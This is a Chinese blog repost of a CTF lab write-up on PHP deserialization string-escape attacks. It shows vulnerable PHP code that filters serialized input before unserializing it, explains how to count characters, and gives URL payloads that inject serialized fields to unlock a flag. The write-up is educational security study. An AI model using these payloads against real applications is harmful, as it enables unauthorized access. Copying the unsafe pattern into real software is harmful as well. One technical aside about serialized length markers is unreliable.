WEB渗透—PHP反序列化(八)

news2025/6/9 14:10:03

Web渗透—PHP反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十五、字符串逃逸例题-增多

1.实例代码

目标:判断是否pass=='escaping'

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';                  //pass默认值为'daydream'
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];                     //$_GET[‘param’]获取值给$param
$param=serialize(new test($param));        //并放在实例化test里作为参数,实例化触发__construct赋值给user
$profile=unserialize(filter($param));      //对$param值进行安全性检查,filter把”flag”,”php”替换为”hack”,然后在反序列化
if ($profile->pass=='escaping'){           //判断pass是否为'escaping'
    echo file_get_contents("flag.php");
}
?>

2.解题过程

思路:

        1)字符串过滤后减少还是增多

        2)构造出关键成员属性序列化字符串

        3)增多则判断一次吐出多少个字符串

        4)构造payload并提交

构造关键成员属性序列化字符:

<?php
class test{
    var $user="123";         //任意字符
    var $pass='escaping';
}
echo serialize(new test());
?>

O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"escaping";}

php被替换成hack,字符串增多,会吐出字符串变成结构代码,一个php吐出1个字符串;

flag被替换成hack,字符串不变,无法吐出字符串变成结构代码

";s:4:"pass";s:8:"escaping";}

$user可控,我们通过param参数进行传参,我们需要将$pass及其参数吐出,同时我们需要补全前面$user的序列化结构,所以我们需要吐出29个字符

构造payload:

URL?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

3.回显结果

利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

十六、字符串逃逸例题-减少

1.实例代码

目标:判断vip是否为

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;                     //vip默认值为false
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));      //对$parm值'user'进行安全性检查,filter把'flag','php'替换为'hk',然后在反序列化
if ($profile->vip){                        //判断vip值是否为真
    echo file_get_contents("flag.php");
}
?>

2.解题过程

思路:

        1)字符串过滤后减少还是增多

        2)构造出关键成员属性序列化字符串

        3)减少则判断吃掉的内容,并计算长度

        4)构造pyload并提交

构造关键成员属性序列化字符:

<?php
class test{
    var $user = '123';          //任意字符
    var $pass = '123';          //任意字符
    var $vip = true;
}
echo serialize(new test());
?>

O:4:"test":3:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

php被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个php吃掉1个字符串;

flag被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个flag吃掉2个字符串

";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

$user和$pass可控,我们通过user和pass参数进行传参,我们需要将$pass及其参数吃掉,只保留参数内容以及结构 " 符号,同时我们需要补全前面$user的序列化结构,所以我们需要吃掉19个字符(flag每次吃掉2个字符,吃19个字符最少要吃10次,所以我们会多吃1位,在后面字符位置补)

在PHP中,当进行序列化时,字符串的长度标识小于两位时会被算作两位的原因是为了确保序列化后的数据能够正确地被反序列化。在PHP的序列化中,字符串的长度使用一个表示字符数的整数来进行标识。

构造payload:

URL?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

3.回显结果

利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1330745.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

20231223使用Rockchip原厂的Android11调通Firefly的AIO-3399J开发板上的AP6356S

20231223使用Rockchip原厂的Android11调通Firefly的AIO-3399J开发板上的AP6356S 2023/12/23 14:14 开发板&#xff1a;Firefly的AIO-3399J【RK3399】 SDK&#xff1a;rk3399-android-11-r20211216.tar.xz【Android11】 Android11.0.tar.bz2.aa【ToyBrick】 Android11.0.tar.bz2…

Unity3D移动端实现摇一摇功能

手机摇一摇功能在平时项目开发中是很常见的需求&#xff0c;利用Unity的重力感应可以很方便的实现该功能。 Unity简化了重力感应的开发&#xff0c; 通过访问Input.acceleration属性&#xff0c;取回加速度传感器的值。首先我们看一下重力传感器的方向问题。Unity3D中重量的取…

MFC使用高速绘图控件high-speed Charting Control绘制柱形图

1. 创建MFC单文档工程BarChartDemo。 2. 在工程文件夹下新建文件夹ChartCtrl,将ChartCtrl源码放入,如下图所示。在工程中添加这些项,项目——添加——现有项,全部添加。 3. 添加一个对话框,ID为IDD_DLG_BAR,类名为CBarDlg。 4. 在对话框中添加Custom Control控件,将控…

机场信息集成系统系列介绍(7):机场航班信息显示系统FIDS

目录 一、简介 二、架构及相关功能 1、实时更新和显示航班信息 2、多屏显示与查询 3、提供登机口导航信息 4、发布机场公告 5、集成机场的其他延伸服务 6、支持多语言显示 7、监控与故障处理 8、数据分析与优化 9、与航空公司、地面代理的信息交互 10、安全保障与应…

Python数据科学视频讲解:嵌入法(随机森林、提升法、Logistic等)

4.5 嵌入法&#xff08;随机森林、提升法、Logistic等&#xff09; 视频为《Python数据科学应用从入门到精通》张甜 杨维忠 清华大学出版社一书的随书赠送视频讲解4.5节内容。本书已正式出版上市&#xff0c;当当、京东、淘宝等平台热销中&#xff0c;搜索书名即可。内容涵盖数…

【Hive_04】分区分桶表以及文件格式

1、分区表1.1 分区表基本语法&#xff08;1&#xff09;创建分区表&#xff08;2&#xff09;分区表读写数据&#xff08;3&#xff09;分区表基本操作 1.2 二级分区1.3 动态分区 2、分桶表2.1 分桶表的基本语法2.2 分桶排序表 3、文件格式与压缩3.1 Hadoop压缩概述3.2 Hive文件…

安捷伦Agilent 8720ES网络分析仪

Agilent安捷伦8720ES S-参数矢量网络分析仪 50MHz至20GHz 100 dB 的动态范围 优异的测量精度 2个测量通道 4个显示通道 频率和功率扫描 快扫描和数据传输速度 通过/失败测试&#xff0c;强大的标记功能 电校准&#xff08;ECal&#xff09; 内部使用测试序列的自动化 可选时域…

芯片到底是怎么访问外设

微型计算机的组成&#xff1a;CPURAM硬盘等 什么是FLASH&#xff1f; FLASH存储器又称闪存&#xff0c;它结合了ROM和RAM的长处&#xff0c;不仅具备电子可擦除可编程&#xff08;EEPROM&#xff09;的性能&#xff0c;还不会断电丢失数据同时可以快速读取数据&#xff08;NV…

matlab时间转换

采集的GNSS数据是10hz的。 data&#xff08;选取其中一部分&#xff09;如下&#xff1a; &#xff08;1&#xff09;char类型 formatOut yyyy-mm-dd HH:MM:SS; str datestr(data,formatOut); str如下&#xff1a; &#xff08;2&#xff09;double类型 DateVector dat…

Ai基本视图操作和快捷键设置

这个抓手可以用来拖动&#xff0c;左右的滑块可以用来实现上下左右的移动。 对于放大缩小图片有ctrl与ctrl-&#xff08;Alt滚轮&#xff09;如果要回到原来的大小则使ctrl1 Ai还具有像ppt一样的放映功能&#xff08;可以将工具栏或者其他栏的根据进行替换&#xff09;

使用html+css+js+three.js写圣诞树

实现效果&#xff1a; <head><meta charset"UTF-8"><title>Musical Christmas Lights</title><link rel"stylesheet" href"https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><sty…

盲盒小程序搭建:开启互联网盲盒时代

盲盒目前是一个非常火爆的商业模式。随着科技的发展&#xff0c;盲盒市场也开始采用线上盲盒进行拓客&#xff0c;吸引盲盒爱好者。当下在互联网电商影响下&#xff0c;盲盒小程序逐渐受到了商家的青睐。 线上盲盒市场 盲盒消费主要是根据自身的未知性吸引消费者&#xff0c;消…

小白实战教学:开发同城外卖跑腿APP

本文将以"小白实战教学"为主题&#xff0c;向大家介绍如何从零开始&#xff0c;开发一款简单而实用的同城外卖跑腿APP。 一、准备工作 在开始之前&#xff0c;我们需要做一些准备工作。首先&#xff0c;确保你已经安装好了开发环境&#xff0c;包括合适的集成开发环…

09.list 容器

9、list 容器 功能&#xff1a; 将数据进行链式存储 链表&#xff08;list&#xff09;是一种物理存储单元上非连续的存储结构&#xff0c;数据元素的逻辑顺序是通过链表中的指针链接实现的 链表的组成&#xff1a; 链表由一系列结点组成 结点的组成&#xff1a; 一个是存…

携手河南恩坤德,共创养殖新篇章

在这个充满机遇与挑战的时代&#xff0c;养殖业正在经历一场前所未有的变革。作为养殖户&#xff0c;您需要一个能够与您共同应对变革、共创未来的合作伙伴。河南恩坤德农业正是这样一个值得信赖的伙伴&#xff0c;我们携手共创养殖新篇章。 河南恩坤德农业以客户需求为导向&am…

SOLIDWORKS Plastics基础功能详解(一)

Batch Manager Batch Manager PropertyManager 经过重新设计&#xff0c;提高了可用性。 在各部分中重新排列用户界面元素为 Batch Manager 提供了一个简化的工作流程。能够指定分析任务的最大 CPU 数。改进了分配给分析任务的模拟类型以及添加、运行和暂停分析任务的控件的可…

Python数据科学视频讲解:特征归一化、特征标准化、样本归一化

5.1 特征归一化、特征标准化、样本归一化 视频为《Python数据科学应用从入门到精通》张甜 杨维忠 清华大学出版社一书的随书赠送视频讲解5.1节内容。本书已正式出版上市&#xff0c;当当、京东、淘宝等平台热销中&#xff0c;搜索书名即可。内容涵盖数据科学应用的全流程&#…

nodejs+vue+ElementUi资源互助共享平台的设计

后台&#xff1a;管理员功能有个人中心&#xff0c;用户管理&#xff0c;卖家管理&#xff0c;咨询师管理&#xff0c;萌宝信息管理&#xff0c;幼儿知识管理&#xff0c;保姆推荐管理&#xff0c;音频资源管理&#xff0c;二手商品管理&#xff0c;商品分类管理&#xff0c;资…

实战经验分享:开发同城外卖跑腿小程序

下文&#xff0c;小编将与大家一同探究同城外卖跑腿小程序的开发实战&#xff0c;包括但不限于技术选型、开发流程、用户体验等多个方面。 1.技术选型 在同城外卖跑腿小程序的开发中&#xff0c;技术选型是至关重要的一环。对于前端&#xff0c;选择了使用Vue.js框架&#xff…

Qml之自定义Button

Qml之自定义Button 前言一、图标Button二、字体Button1.重写Background和ContentItem2.采用ButtonStyle前言 提示: 自定义Button控件如何分为带图片的Iconbutton和原生控件重写的Button。最终效果如下: 提示:以下是本篇文章正文内容,下面案例可供参考 一、图标Button im…